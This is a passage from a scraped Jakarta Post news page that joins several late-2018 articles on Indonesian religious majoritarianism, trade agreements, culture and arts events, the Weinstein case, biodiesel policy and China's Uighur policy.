question of how far Indonesia has swung to the right of the ideological spectrum two decades after Soehartos downfall. What happened in Purbayan, part of the culture-rich city of Yogyakarta, was in many ways appalling and unprecedented. It was, to put it bluntly, a case of one group of believers denying the rights of a deceased person and his grieving family simply because they do not share the same belief. What lies beneath the disheartening incident, however, is the same old problem the country has been facing in recent years: The rise of majoritarianism. Imagine Purbayan as a miniature Indonesia. Among some 300 families living there, only three are Christian, including the family of Albertus Slamet Sugihardi, the Catholic man who died on Monday. As a longtime resident, his wife, Maria Sutris Winarni, wanted her deceased husband to be buried near their home in the Jambon cemetery. Bejo Mulyono, a local figure, argued that since the cemetery would be used exclusively for Muslims in the future, Slamet should not have been buried there and the fact that the cemetery was open to him was evidence of the communitys tolerance. Moreover, he claimed that Slamets family had accepted the rule. He even showed a written statement from Winarni stating that she would not make an issue of the matter. Some Muslims do believe that graveyards should be separated, but many in the country are open to all faiths. If anything, as a Purbayan resident, Slamet should have the same rights as his Muslim neighbors. Bejos argument is a typical example of majoritarianism. It is only fair from the standpoint of the majority who believe that they have the right to make decisions for the minority. It is unsurprising that when questioned if their decision was fair to the minority, they claimed that the minority willingly accepted their decision. From the minoritys standpoint, what happened in Yogyakarta, dubbed a symbol of tolerance, is simply another example of the majority imposing their rules on them. Many tend to confuse democracy with majoritarianism as in the Purbayan case. Democracy only works if every individual has equal rights. The failure to understand the difference will only lead to tyranny or mob rule. When that happens, democracy dies along with our pluralism. Share this article Whatsapp Facebook Twitter Linkedin Inforial (The Jakarta Post) Jakarta, Indonesia Mon, November 26, 2018 11:53 1102 882ab4bc56dbda08a069b30877dd8968 4 Inforial Free Director General of National Export Development of the Ministry of Trade, Arlinda and her Algerian counterpart, Director General of the National Agency for Foreign Trade Promotion (ALGEX), Chiti Chafik, signed a memorandum of understanding (MoU) on promoting exports between the two countries in Algiers on Nov. 22 during the Indonesian trade mission to Algeria. The MoU is expected to be a stepping-stone for improving access to Indonesian products in African markets, especially Algeria. Arlinda expressed hope that the MoU would help kick-start efforts to enhance Indonesia-Algeria trade ties. "Both countries will attempt to promote and develop exports between Indonesia and Algeria, such as through exchanging information on economy and trade, she said. . (Courtesy of Ministry of Trade/.) As the initial step to implementing the three-year agreement, information sharing will allow the two countries to gain better understanding of each other and in turn benefit both countries, whose export products complement, rather than compete with, each other. Chafik regarded Indonesia as an important trading partner to Algeria, and also appreciated Arlindas initiative to establish the agreement. Share this article Whatsapp Facebook Twitter Linkedin Inforial (The Jakarta Post) Jakarta, Indonesia Fri, December 21, 2018 00:01 1078 75e76da2d15e495661b6357e2e34a6fe 4 Inforial Free The Comprehensive Economic Partnership Agreement (CEPA) between Indonesia and the European Free Trade Association (EFTA) was signed on Sunday, Dec.16, 2018 in Jakarta. Representing the signatory countries were Indonesias Trade Minister Enggartiasto Lukita, Switzerlands Federal Councillor and the Federal Department of Economic Affairs, Education and Research Head of the Swiss Confederation Johann N. Schneider-Ammann, Liechtensteins Foreign Affairs, Justice and Culture Minister Aurelia Frick, Norways State Secretary Daniel Bjarmann-Simonsen, and Icelandic Ambassador and Chief of Protocol Hannes Heimisson. The signing took place as Indonesia and the EFTA countries concluded an almost eight-year-long negotiation process on Nov.23, 2018 in Geneva, Switzerland. The CEPA negotiation was launched in July 2010, and the first round was held in early 2011. Since then, 15 rounds of negotiations and a number of Heads of Delegation and experts' meetings were held before both sides reached an agreement on Nov.1, 2018 in Bali, Indonesia. The signing of the Indonesia-EFTA CEPA on Sunday marks a new milestone in the bilateral relations between Indonesia, Iceland, Liechtenstein, Norway and Switzerland. CEPA covers trade in goods (including provisions on trade remedies, trade facilitation, rules of origin, sanitary and phyto-sanitary measures, and technical barriers to trade), trade in services, investment, intellectual property rights, competition, government procurement, trade and sustainable development, cooperation and capacity building, as well as legal and horizontal provisions. . (Courtesy of Ministry of Trade/.) The IE-CEPA is expected to expand the market access of goods from Indonesia and EFTA, and increase economic cooperation and investments. On the trade of goods, Indonesia gets an increase in market access to its fishery, textile, furniture, bicycle, electronic, tire, coffee and palm oil products, as well as other agricultural products. On services trade, Indonesia will get more access to intra-corporate trainees, contract service suppliers, independent professionals and young professionals of the EFTA. For example, the services that will get benefits include professional services, telecommunications, finance, transportation and education. Indonesia will also get an increase in investments from member countries in sectors such as energy, mining, machineries, agriculture, infrastructure, fisheries, forestry and chemical industry. . (Courtesy of Ministry of Trade/.) Additionally, Indonesia will get opportunities in cooperation and capacity building in various sectors, including fisheries and marine, export promotion and tourism, and in small and medium enterprises (SMEs), cocoa, sustainability, maintenance, repair and overhaul (MRO) and vocational education. EFTA is a trade block in Europe that we havent yet tapped. With the signing of the IE-CEPA, we hope we can optimize the use of the markets in the respective countries that can be then the gateway to the European Unions market. We also hope that this agreement will stand as a foundation for us to emulate other ASEAN countries as we have some catching up to do, especially with the Philippines and Singapore, which had finalized their trade agreements with EFTA, Enggartiasto said. Enggartiasto also convened at public discussions on IE-CEPA with stakeholders in Geneva, Switzerland on Friday (23/11), under the theme of Optimizing the Benefits of the Indonesia-EFTA CEPA Agreement. The minister hopes that similar forums will be conducted to maximize on benefits from the Indonesia-EFTA agreement. Based on data from Central Statistics Agency (BPS), EFTA is the 23rd destination for Indonesias non-oil gas exports and the 25th biggest region in terms of origins of imports for Indonesia. In 2017, trade between Indonesia and EFTA stood at US$2.4 billion. Indonesias exports to EFTA reached $1.31 billion and its imports from EFTA reached $1.09 billion, causing Indonesia to see a trade surplus at $212 million. Indonesias exports to EFTA include jewelry, optical devices, gold, telephone devices and essential oils, while its imports from EFTA include gold, turbo jet machines, medicines, fertilizers and industrial raw materials. The investments of EFTA member countries in Indonesia in 2017 stood at to $621 million. (*) Share this article Whatsapp Facebook Twitter Linkedin Fiachra Gibbons (Agence France-Presse) Paris Thu, December 20, 2018 09:03 1078 75e76da2d15e495661b6357e2e31f8dc 2 Books writer,Book,author,France,novel,Michel-Houellebecq Free Having praised Donald Trump last week as "one of the best American presidents", Michel Houellebecq, the ageing bad boy of French letters, may have another shock up his sleeve. The controversial writer, who made his reputation with bestselling novels about sex tourism, swingers clubs and everyday misogyny, has called his next novel after the "happy chemical" which engenders well-being and happiness. "Serotonin", which will be published in French on January 4, and then in Italian a week later, comes months after Houellebecq married for a third time, to a Chinese woman some two decades his junior. Wags on social media have joked that with such a feelgood title, the arch-miserablist may be softening his notoriously cynical view of life in his old age. But others have warned that the nihilism that marked novels such as "Atomised", "Platform" and the Prix Goncourt-winning "The Map and the Territory" is unlikely to have been dented by three months of nuptial bliss with Shanghai-born Qianyum Lysis Li. Critic Nelly Kaprielian, of the French magazine Les Inrockuptibles, says the story grapples with globalisation and the crisis gripping provincial France. It features a "typically lone Houellebecqian narrator haunted by his past and failed loves, kept alive by an anti-depressant drug based on serotonin." With the contents of the book supposed to be strictly under wraps until it goes on sale, Kaprielian called it a "fine twilight novel, perhaps the most sombre by the author." Channeling popular anger With his well-publicised loathing of the EU and liberal causes, Houellebecq became something of a pin-up for the French far right after his last highly-controversial novel, "Submission", which imagined life under sharia law after the election of an Islamist as French president in 2022. It appeared the same day jihadists attacked the offices of the Charlie Hebdo satirical magazine in Paris in January 2015, killing 12 people, including one of the writer's closest friends. Houellebecq, 62, cancelled his promotional tour after the massacre and went into hiding, later reappearing to give a tearful interview on French television. But according to Kaprielian, in "Serotonin" his politics veer more towards the far left, "if you had to categorise them, or rather towards the angry and 'apolitical' yellow vests" protest movement, which has shaken France in recent weeks. Read also: Murakami says writing is what he can do for disaster sufferers Houellebecq sparked much eye-rolling on social media last week with an article in the US magazine Harper's declaring Trump a good president even if he was "an appalling clown". The writer rejoiced in the belief that his presidency would herald the end of American imperialism. "The United States of America is no longer the world's leading power. This isn't necessarily bad news for Americans," he wrote. "It's very good news for the rest of the world. The Americans are getting off our backs. The Americans are letting us exist," he added. Houellebecq's publishers Flammarion said they are printing 320,000 copies of "Serotonin" for its first run, an exceptionally high number for France. His last book "Submission" sold around 800,000 copies in France alone. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Thu, December 20, 2018 10:02 1078 75e76da2d15e495661b6357e2e323412 4 Art & Culture Jogja-Menari,Jaranan,MURI,dance,Yogyakarta Free Around 3600 dancers are set to participate in Jogja Menari (Jogja Dances), to be held by the Yogyakarta Model Alumni Family (KATY) class of 1993 in Yogyakarta on Sunday, Dec. 23. Tempo.co reported that these thousands of dancers would break records at the Indonesian Museum of Records (MURI) as a jaranan (toy horse) dance performance with the most dancers. Coordinator of Jogja Menari, Renny Kusumowardhani, said the KATYs event would help preserve Indonesian culture, particularly its traditional dances. Jogja Menari is a mass movement to give an education on the love of culture. We learned the dance independently from YouTube and perform in unison, and this is the first time in Yogya, said Renny during the preparation of the event on Tuesday. She went on to say that jaranan dance was chosen because it is considered simple and easy to follow even by those who are not skillful dancers. This jaranan dance is a new creation, especially choreographed for this years Jogja Menari. The inspiration comes from Kulonprogo regencys angguk dance but presented it in a more attractive way, Renny was quoted as saying. Read also: Annual Eksotika Bromo enlivens Yadnya Kasada ceremony The event also aims at familiarizing the youth with traditional Indonesian dances, aside from hip-hop or K-Pop dances they might be more familiar with, thanks to their smartphones and tablets. We hope that Jogja Menari could motivate [Indonesian] youth to study the dance further, said Renny, adding that Indonesian authentic artforms are often highly appreciated by foreigners. Often practicing dance in the Yogya palace with traditional dance maestros, Renny is familiar with foreigners who are in the same dance classes with her, some of them hailing from Germany and Japan. Seeing the Indonesian youths declining interest in own traditional art is what motivates Renny and SMA 1 Yogyakarta high school alumni class of 1993 to organize Jogja Menari on a massive scale. (mut) Share this article Whatsapp Facebook Twitter Linkedin Liza Yosephine (The Jakarta Post) Jakarta Thu, December 20, 2018 08:00 1078 75e76da2d15e495661b6357e2e31c087 1 Art & Culture Book,history,Fortuga,Jejak-Sejarah-Indonesia Free Emphasizing the importance of history classes in driving development, a group of Bandung Institute of Technology (ITB) alumni has published a unique chronicle of Indonesian history, dating back to events before the country gained independence. The ITB Alumni Communication Forum (Fortuga) for students who enrolled at the institute in 1973 launched on Tuesday Jejak Sejarah Indonesia: Tinjauan Lini Masa Dari Perspektif FORTUGA ITB' (Tracing Indonesian history: A timeline from the ITB Fortuga perspective). The book opens with a "bang" to trace world history toward the development of modern Indonesia amid the global era. ITB Fortuga head Kelana Budi Mulia stressed that history was as important as other subjects, like mathematics and science, in inspiring innovation and in the pursuit of development across many different sectors. Taking stock of the past would build on an established foundation that had already undergone trial and error in order to progress even further, Kelana said, citing public policies and politics as examples that posed opportunities for growth. "History builds the nation's character," he said during Tuesday's book launch at the National Library of Indonesia in Central Jakarta. He added that the alumni forum would collaborate with both primary and secondary schools for the book's inclusion as supplementary material for history classes. Published in a unique format, the book can be unfolded into a single spread that spans more than 11 meters for studying its timeline, containing highlighted historical and contemporary events in Indonesia. Read also: UI archaeology professor weighs in on Borobudur's 'chattra' restoration ITB Fortuga book committee head Sapta Putra Yadi said the historical events curated for the chronicle were determined by an aim to highlight milestones and landmark events that put an objective spin on the nation's journey. "The key consideration throughout the [curation] process was whether it was a significant event, whether it was something widely talked about or [events] that many were curious about but rarely explored in books," said Sapta. HISTORIA chief editor Bonnie Triyana said in his remarks at the launch that he had learned from the book that religion studies was made compulsory in 1966, a little-known but major decision that had affected students to the present. Bonnie Triyana, a historian and chief editor of online magazine 'Historia,' speaks on Dec. 18 during the book launch at the National Library of Indonesia. (JP/Wienda Parwitasari) "Whether this decision was affected by the events in 1965 is unclear. But at least such discussions and observations can be made by looking at the timeline," Bonnie said, referring to the 1965 communist purge. Bonnie said the "chronicle" format of the book also provided a look at Indonesia's development throughout history from a global perspective, which could serve as a source of comparative learning about civilizations and see how the country fared as events unfolded. "The bad news is, from [the book] we know that as discoveries were being made in Europe as well as progress in the fields of science and technology, if we count the [historical] events in our case, for the most part they revolve around politics or power struggles," he told the audience. Ancient history showed Indonesians' ability to keep up with innovation and discovery, he said, referring to Central Java' Borobudur Temple, the Buddhist temple that dates back to the 9th century. But the country then plunged into a sequence of politically driven narratives and power struggles, especially during the colonial and post-colonial eras, leading to its sluggish progress in innovation. "But is it really the case that Indonesia is so far behind? I think that's a question that might have to be explored in the next book," said Bonnie. He also called for more attention to scientific and technological achievements in history books, as a more comprehensive way for learning about Indonesia's past. (mut) Share this article Whatsapp Facebook Twitter Linkedin Tyne Villan (Inquirer.net/Asia News Network) Thu, December 20, 2018 14:02 1078 75e76da2d15e495661b6357e2e33774f 2 Lifestyle Miss-Universe,Australia,Catriona-Gray Free It has only been a few days after the Miss Universe 2018 coronation night and Filipinos still cant get over Catriona Grays victory. But while everyone celebrates the Philippines fourth Miss Universe crown, the internet is divided on Grays identity. Catriona Gray or Catriona Elisa Magnayon Gray was born on January 6 1994 in Cairns, Queensland in Australia. Her father, Ian Gray, is a Scottish-born Australian and her mother is Normita Ragas Magnayon, a proud Bicolana from Oas, Albay. Gray has spent most of her childhood days in The Land Down Under. And at the age of 18, after finishing high school, she then moved to the Philippines to pursue a career in modeling. If you dont know Catriona Gray personally or havent heard her speak Filipino in some of her interviews, youd assume shes a foreignerwith her Western name, Caucasian looks, and Aussie accent. Since she grew up in Queensland and her qualities dont resemble a full-blooded Filipino, she is now being questioned if she should really be representing Australia instead of the Philippines. Because of this, some Australian publications want to take credit for the beauty queens win. Read also: Miss USA apologizes for mocking non-English speaking Miss Universe contestants In the front page of Australian newspaper, The Courier Mail, youd see a picture of Catriona Gray with the words, Miss Universe Philippines. However, the paper crossed out Philippines and replaced it with Queensland instead. Not only that, Hit Radios website published a story that features Gray with the headline: Australian Girl Won Miss Universe But She Wasnt Miss Australia. Facebook page PGAG also shared a screenshot of the news and captioned it, Some Australians want a piece of the Ms. Universe win, too? What do you think? To be fair, Catriona Gray grew up in Australia. Since this news has been making the rounds on social media, Filipino supporters share their opinions about the matter. Twitter user @ilda_talk mentions that Australians are crying foul. Some Australians are crying foul. Perhaps because she is originally from Australia and looks more Caucasian than Asian. pic.twitter.com/lkfcW7nN1G ilda (@ilda_talk) December 18, 2018 And even if Gray is of a mixed-race, she proudly represented the Philippines. From her evening gown and national costume down to her signature walkeverything is Filipino. Hahaha i feel bitterness for that headline/title..Miss Australia was also bi-racial but she didnt win. Catriona however brought with her all about the Philippines (talent, creativity), the lava walk, gown, her determination.. all about her in that pageant was Filipino. Nerissa Buenaflor (@LadyShannel) December 18, 2018 Though it might be too late for the Aussies to take pride in Grays victory, in our eyes, shes Miss Philippines, not Miss Australia. Too late for Australia to claim her, it is already written in four corners of the world, rather the universe, that shec is MISS PHILIPPINES. #spellbitter. miguel (@MAIQUEZ68) December 18, 2018 While the Internet is fighting over Catrionas heritage, some Australians choose to express their support instead of joining in the dispute. Miss Catriona Gray is not only raising the flag of the Philippines but also the flag of Australia Very Proud of you Catriona Elisa Magnayon Gray! You deserve the Crown of the Universe BRAVO koala_bear_01 (@fan_loving) December 17, 2018 You didnt conquer the world but meant to conquer the universe!!! Best wishes on your reign and make us proud as always! With love and support from Sydney, Australia! Thanks Miss Universe for always being fair! nyarky (@nyarkee) December 17, 2018 Despite Grays looks and upbringing, she chose to represent the Philippines. In one of her media interviews, she vowed, Philippines, what an amazing honor it has been to carry your name across my chest and to embody you in all aspects. I may now carry the sash of Miss Universe, but Ill forever be your Miss Philippines. Topics : This article appeared on the Philippine Daily Inquirer newspaper website, which is a member of Asia News Network and a media partner of The Jakarta Post Share this article Whatsapp Facebook Twitter Linkedin Aman Rochman (The Jakarta Post) Jombang, East Java Thu, December 20, 2018 12:30 1078 75e76da2d15e495661b6357e2e331b60 1 Art & Culture MINHA,Museum-Islam-Indonesia-KH-Hasyim-Asyari,Jombang,History-of-Islam-in-Indonesia Free A pyramid-shaped building with a monument bearing inscriptions of 99 names of Allah is the face of Museum Islam Indonesia KH Hasyim Asy'ari (MINHA) in Cukir village, Jombang regency, East Java. The area where the museum stands was initially a parking lot for visitors of the resting place of the late president Abdurrahman Gus Dur Wahid. President Joko Jokowi Widodo inaugurated the museum on Tuesday, and now visitors can make use of it to learn about the history and development of Islam in Indonesia. President Joko "Jokowi" Widodo (JP/Aman Rochman) MINHA comprises three floors, but at the moment only one floor is open to visitors. The museum displays information on how the religion penetrated Indonesia through peace and acculturation. Artifacts displayed at the museum are divided according to their origins, with sections for Sumatra, Java, Sulawesi, Kalimantan and eastern Indonesia. There also paintings of national heroes and ulema, particularly those affiliated with Nahdlatul Ulama and Muhammadiyah. Among the artifacts on display at the museum are crown jewels and coats of arms of the archipelago's historic Islamic kingdoms, old books on fiqh (Islamic jurisprudence) and tasawuf (Sufism) and pottery that was found in Riau and carried by Middle Eastern and Indian merchants. The second and third floors of the museum are to open in March 2019. There will be records of Islams history during the Dutch colonial era and political chaos in the early years following Independence Day up to the modern day, MINHA head Halim Mahfudz told The Jakarta Post. Read also: Aceh Cultural Fair to showcase Samudera Pase collection The museum welcomes donations and loans of goods with historical Islamic value from prominent figures or ulema of Islamic organizations. Its mission is to spread awareness that Indonesia adheres to Pancasila's five principles, which align with the values of prominent Islamic figures and nationalists alike. The museum is open Mondays to Thursdays and Saturdays to Sundays from 8 a.m. to 4 p.m. Entrance to the museum will be free of charge until the end of December, and there will be further renovation and the completion of artifacts that will be displayed in January, hence the entrance fee. It is not going to be expensive and it [the funds] would be used for museum maintenance, said Halim. (mut) Yaya Sungs thought-provoking investigation into the murder of seven Indonesian army generals during the 1965 coup that overthrew President Sukarnos reign during the Sept. 30 Movement (G30S), The Future (Lies) (2018), was recently displayed in Melbourne, Australia. It is one of nine contemporary works of art being presented in #Perempuan (Women), a group exhibition by emerging Indonesian female and male artists at Space 28, the Victorian College of the Arts (VCA), Southbank, open Dec. 5 to 14. Exhibited alongside Sungs seven-screen video installation of seven naked male models with make-up representing the generals' fatal stab and gunshot wounds, according to official autopsy reports, was the artist's book, with translations detailing her extensive museum-like archival research. The narrative released by the New Order regime under the incoming Soeharto government claimed that the generals deaths were the responsibility of the underground 1950s Indonesian womens rights organization Gerwani. The fabrication stated they were sadistically tortured and their bodies sexually mutilated, culminating in their deaths and thus leading to Gerwanis reputation as a group of "violent, deviant and crazed" women. Soeharto deliberately discredited Gerwani due to its association with the Indonesian Communist Party (PKI) while advocating the view that women should take up traditional maternal roles. With the increasing rise of moral conservatism in Indonesia, artists' right to freedom of speech is increasingly being encroached. Exhibitions and public sculptures have come under attack, being either forced to close or have works dismantled, due to what is deemed as offensive themes and content. Two elements of Sungs insightful artwork make it too sensitive to be shown in Indonesia, yet suitable for an international audience in Melbourne content featuring nudity, and the examination of the events related to G30S. Stories concerning subjects from the present and past were granted new life for contemplation and dialogue in the first international Indonesian contemporary art exhibition that focused on issues relating to Indonesian women. Sponsored by Project 11, as part of Multicultural Arts Victorias Asian contemporary arts festival Mapping Melbourne 2018, #Perempuan explored topics relating to politics; social, cultural and gender identity politics; values and traditions; and the changing roles of Indonesian women. The works presented by Java-based artists Arum Dayu, Erwin Windu Pranata, Meliantha Muliawan, Octora, Patricia Untario, Puri Fidhini & Etza Meisyara, Ruth Marbun and Tandia Bambang Permadi, along with Sung, look at issues that are rarely openly discussed in public within Indonesia. Read also: Exhibition showcases inmates' hopes and dreams Very few exhibitions that focus solely on womens issues have been held within Indonesia , said #Perempuan curator Santy Saptari, who was born and raised in Jakarta and now lives and works in Melbourne. Traditional lives are very orchestrated in Indonesia, Saptari said. During the process of organizing this exhibition, Konfir [Kabo of Project 11] and I realized that one of the major challenges facing female Indonesian artists is their capacity for career continuity. Many women sacrifice their art for family commitments, getting married and putting the male first. We wanted to give women artists an opportunity to talk about issues that matter to them. Yogyakarta artist Arum Dayus invitation to her parents to examine with her the challenges of being unmarried within the format of her artwork proved to be a unique experience for the artist. Kapan nikah? (When are you going to get married?) (2018) features Dayu photographed with potential husbands, and her parents, all dressed in traditional attire. The focal image included an edited recording of her discussions with her parents, revealing them to be understanding and supportive of her culturally frowned upon position - a young woman without a husband. A large assemblage of layered fabric sculptures and watercolor works on paper in pink and blood-red flesh tones reveals disfigured faces and body parts - with eyes that eerily peer out at the audience. One is a million (2018) by Bandung artist Ruth Marbun is a captivating installation with theatrical elements examining the female human experience. Marbun finds beauty in adversity, and that women can achieve so much through sacrifice and dedication, without receiving recognition. Raised by his parents to play the role of the eldest daughter of the family and caretaker of the parents when elderly, Tandia Bambang Permadis photograph installation After-sex selfies (2018) fascinates, while highlighting some of the complexities of Javanese culture. Permadis probe into his dual male/female life roles and self-identity culminated into "female selfie images of conquest" taken by his numerous sexual partners. His naked photo series reveals his renegotiation of gender roles. Two-hundred-and-twenty individually distinct, phallic objects handmade from blown glass positioned in line along a 15-meter wall with special lighting made for a unique aesthetic experience. Silence (2018) is Patricia Untarios statement about the absence sex education available to young Indonesian woman. This work too is also too controversial to be exhibited in the artists country of birth. Read also: Taman Ismail Marzuki celebrates 50th anniversary with exhibition, performances Because of the complex meeting of traditional and modern values, Indonesian women have to continually fight to achieve sovereign rights that many women in other parts of the world now take for granted, Saptari stated. Its important for us to share these voices and unheard stories so outsiders can appreciate the many cultural complications facing Indonesian women." I believe the 21st century is an excellent time to be a woman, she continued. There is so much rapid change going on, with advances in technology and the internet. I was surprised and encouraged by the quality of the work in this exhibition, especially by the very young women artists who proved they are both critical and very adept in navigating their way around in this modern era. (kes) Share this article Whatsapp Facebook Twitter Linkedin Catherine Triomphe (Agence France-Presse) New York, United States Thu, December 20, 2018 18:32 1078 75e76da2d15e495661b6357e2e343f32 2 Entertainment Harvey-Weinstein,sexual-harassment,#MeToo,Hollywood,producer Free Could Harvey Weinstein, public enemy number one of the #MeToo movement. end up walking away a free man? On Thursday, the onetime Hollywood heavyweight producer will be back in a New York courtroom as his star attorney Ben Brafman asks a judge to dismiss the sex assault charges against his client. Brafman says police misconduct, specifically the work of one investigator, has "irreparably tainted" the case. He will face off with prosecutors before Manhattan criminal court Judge James Burke for a hearing that could be a game changer for the 66-year-old Weinstein, who could face life in prison if convicted. Though one charge against him has been thrown out, Weinstein -- who was arrested in May -- is still facing five counts over an alleged rape in March 2013 and a forced act of oral sex in 2006. The disgraced movie mogul has been accused by more than 80 women of sexual misconduct. He insists that all of his sexual liaisons were consensual and is free on $1 million bail. But the scandal upended his career and Weinstein became the poster boy for a cascade of abuse accusations against powerful men in Hollywood, the media and other industries. His arrest and arraignments have led #MeToo campaigners to hope that the twice-married father of five will be put on trial, convicted and sent to prison. But Brafman, one of America's most celebrated defense attorneys, has made several dents in the prosecution's case, including getting one count of a forced act of oral sex in 2004 -- lodged by former actress Lucia Evans -- thrown out in October. Avalanche of mistakes Prosecutors opted not to pursue the charge, after it emerged that one detective who worked on the investigation had failed to disclose witness testimony that contradicted Evans's account. A friend of Evans said she had heard her say that she had willingly engaged in oral sex with Weinstein to secure a movie role. Brafman said the detective in question, Nicholas DiGaudio, made other mistakes. Read also: Harvey Weinstein must face sex trafficking claim by actress He apparently told another accuser, Mimi Haleyi, who says Weinstein forced her into oral sex in 2006, to delete text messages that could be potentially embarrassing for her, despite prosecutors' advice not to do so. Prosecutors also apparently failed to disclose to the defense affectionate text messages Haleyi sent to Weinstein after the alleged assault, which would have introduced a notion of doubt about the forced nature of the encounter. Prosecutors nevertheless want the case to continue and reject Brafman's motion that the process is beyond repair. They say everything in Haleyi's mobile phone was turned over to investigators, and that the detective's conduct only affected Evans' case. DiGaudio has since been removed from the case. As for emails, prosecutors say they are not obliged to share any of those with the defense at this stage of the proceedings. 'Psychological coercion' Nevertheless, since October, many experts speculate that the case against Weinstein has suffered a serious blow Some even suggest that prosecutors will eventually cave, as they did in dismissing sex assault charges brought against former IMF chief Dominique Strauss-Kahn -- also defended by Brafman -- in 2011. Barbara Barron, a professor at Hofstra University School of Law, says the detective's conduct created a "surprise" in the Weinstein case. "The issue to me is how much taint... how much the police officer's actions influence the other charges," Barron told AFP. "I dont know what the judge will consider." For Bennett Gershman, a former prosecutor who teaches law at Pace University, prosecutors threw out the charge related to Evans precisely to avoid contaminating the rest of the case. "I know Brafman is going to argue to dismiss the whole indictment. He is going to lose that without any doubt," Gershman said He added that he still believes prosecutors have a solid case with the two remaining accusers, no matter what they said to Weinstein after the alleged assaults. "These women saying nice things to Weinstein -- would that surprise anybody? You have a hugely powerful man (...) who literally controlled their reputation and their careers," Gershman said. Read also: One year since #MeToo, Penelope Cruz remembers Weinstein as 'complicated' If the case is not thrown out, Brafman will likely argue for all other Weinstein accusers to be barred from testifying. In the case against veteran television star Bill Cosby, the depositions of five women who did not bring complaints against him were admitted into evidence for his second trial. Cosby was convicted and sentenced to at least three years in prison in the first court win for the #MeToo movement. If the judge decides to allow the case to continue, he could set a trial date on Thursday. If that happens, Gershman says the jury will have to decide: "Did they consent or did they consent involuntarily?" "If these women testify strongly on the witness stand, Weinstein will lose," he predicted. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Thu, November 15, 2018 10:53 1113 882ab4bc56dbda08a069b30877c43752 4 Business biodiesel,B30-mandatory-policy,proposal,producer Free While the implementation of the 20 percent blended biodiesel (B20) mandatory policy needs fine tuning, biodiesel producers want the government to increase biodiesel content in fuel to 30 percent early next year. If we want to save our foreign exchange further, we need to reduce diesel fuel imports by utilizing more fatty acid methyl esters [FAME]. We need to upgrade B20 to B30, said PT Wilmar Nabati Indonesia director MP Tumanggor in Jakarta on Wednesday as reported by kontan.co.id. Meanwhile, Indonesian Biodiesel Producers Association deputy chairman said if the government agreed to the implementation of a B30 policy, producers would be able to start adjusting production capacity. Monthly B20 biodiesel production had reached 12 million kiloliters , Tumanggor said. If a better policy is feasible, why cant we implement it so that we can further save our foreign exchange by reducing imports? he said. If the consumption of Solar diesel fuel reached 30 million kl annually, 30 percent of which could be replaced by diesel fuel if a B30 mandatory was implemented, he said, adding that with the policy, the government could save 9 million kl of fuel imports. Therefore, we want to propose the B30 mandatory policy. If possible, the policy could be implemented next April, he added. (bbn) Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Jakarta Post) Jakarta Thu, December 20, 2018 08:24 1078 75e76da2d15e495661b6357e2e31d2a0 1 City Depok,town-square,construction,rainy-season Free The development of a 3.6-hectare town square in Depok, West Java, has been hampered by bad weather and lightning that have been occurring since early this month, a developer executive has said. Adi Patek, a project supervisor for contractor PT Merdeka Inti Persada, said his side was concerned about the safety of their workers, as we work outdoors, he said as quoted by tempo.co. Despite the bad weather, Adi said the firm would keep trying to complete the construction by the end of this month, as planned. By adding more workers and working hours, he said. It has now reached 70 to 80 percent completion. Depok city administration has allocated around Rp 122.6 billion (US$8.25 billion) for the development of the square, located in Grand Depok City complex in Cilodong subdistrict, which will include sport facilities. The Climate, Meteorology and Geophysics Agency (BMKG) has reported that Depok and Bogor in West Java are among the areas with the highest lightning frequency, with up to 700,000 lighting strikes occurring in those places each year. Depok Mayor M. Idris previously said the first development phase of the square, which required Rp 32.6 billion, would be completed within this month. Meanwhile, the second development phase would commence in 2019. However, Idris acknowledged that heavy rain and lightning could potentially endanger the workers. Therefore, Idris said his side was discussing the solution of the development, as stipulated in Presidential Regulation No. 16/2018, deeming that the contract with the developer should not be terminated if the project runs late. (sau) Share this article Whatsapp Facebook Twitter Linkedin Dian Septiari (The Jakarta Post) Bandung Thu, December 20, 2018 11:35 1078 75e76da2d15e495661b6357e2e32ca08 1 World China,Xinjiang,Muhammadiyah,MUI,Foreign-Ministry,Indonesia Free China has responded to Indonesias question about alleged human rights abuse against Uighur Muslims in Xinjiang, saying that Beijing guaranteed the religious freedom of all of its citizens, including the Uighurs. A Chinese Embassy spokesman in Jakarta said in a statement on Thursday that China is a country with multiple ethnic groups and religions". As prescribed in the Constitution, all Chinese citizens enjoy the freedom of religious belief, the statement said. The statement said that the Chinese government was facing the threat of religious extremism in Xinjiang, which is home to about 14 million Muslims. Some Xinjiang residents, it said, had struggled to find jobs because of their poor command of the nations official language and lack of skills. This has made them vulnerable to the instigation and coercion of terrorism and extremism, it said. In light of the situation, Xinjiang has established professional vocational training institutions as the platform, providing courses on Chinas common language, legal knowledge, vocational skills, along with de-radicalization education for citizens influenced by extremist ideas. Previously, the Foreign Ministry said it had summoned Chinese Ambassador to Indonesia Xiao Qian on Monday to convey the concerns of Indonesian Muslims about the plight of Uighur Muslims in Xinjiang. The Foreign Ministry stressed that in accordance with the universal declaration of human rights, religious freedom and belief are human rights and it is the responsibility of all countries to respect it, ministry spokesperson Arrmanatha Nasir told reporters on the sidelines of the Diplofest event on Wednesday evening. He said Xiao Qian conveyed Chinas commitment to the protection of human rights. In addition, the ambassador said it was very important for the Indonesian public to know the condition of the Uighurs in Xinjiang, an autonomous region. Even though it is a domestic issue, the Foreign Ministry noted the embassys intention to expand communication with various civil society groups in order to convey information about the condition of the Uighur community. The summons of the Chinese ambassador came shortly after Indonesian Islamic groups demanded an explanation on the situation in Xinjiang. Western countries have accused China of persecuting Uighurs through its re-education centers, which Beijing insisted were actually vocational and training centers that combat religious extremism. The situation in Xinjiang was highlighted during Chinas third United Nations Human Rights Councils universal periodic review last month. Human Rights Watch says Uighur people in particular are subject to intense surveillance and are made to give DNA and biometric samples. Muhammadiyah chairman Haedar Nashir said if the reports were true, then China had violated universal human rights and his organization was ready to mobilize humanitarian and material support for peace in Xinjiang, especially for the Uighur community. The Chinese governments inaction is feared to hurt diplomatic relations between Indonesia and China, and the good relations our people have had for centuries, Haedar said as quoted by Antara on Wednesday. Social media messages calling on Indonesians to take to the streets to defend Uighurs have been circulating online in the last few days. On Monday, the Indonesian Ulema Council (MUI) advisory council leader and former chairman of Muhammadiyah, Din Syamsuddin, said the alleged crackdown was an outright violation of basic human rights and demanded that the Indonesian government take firm action to advocate for the Uighur people. Responding to the MUIs call, Vice President Jusuf Kalla said Indonesia would not interfere in Chinas handling of Uighur Muslims. Of course we reject or [want to] prevent any human rights violations. However, we dont want to intervene in the domestic affairs 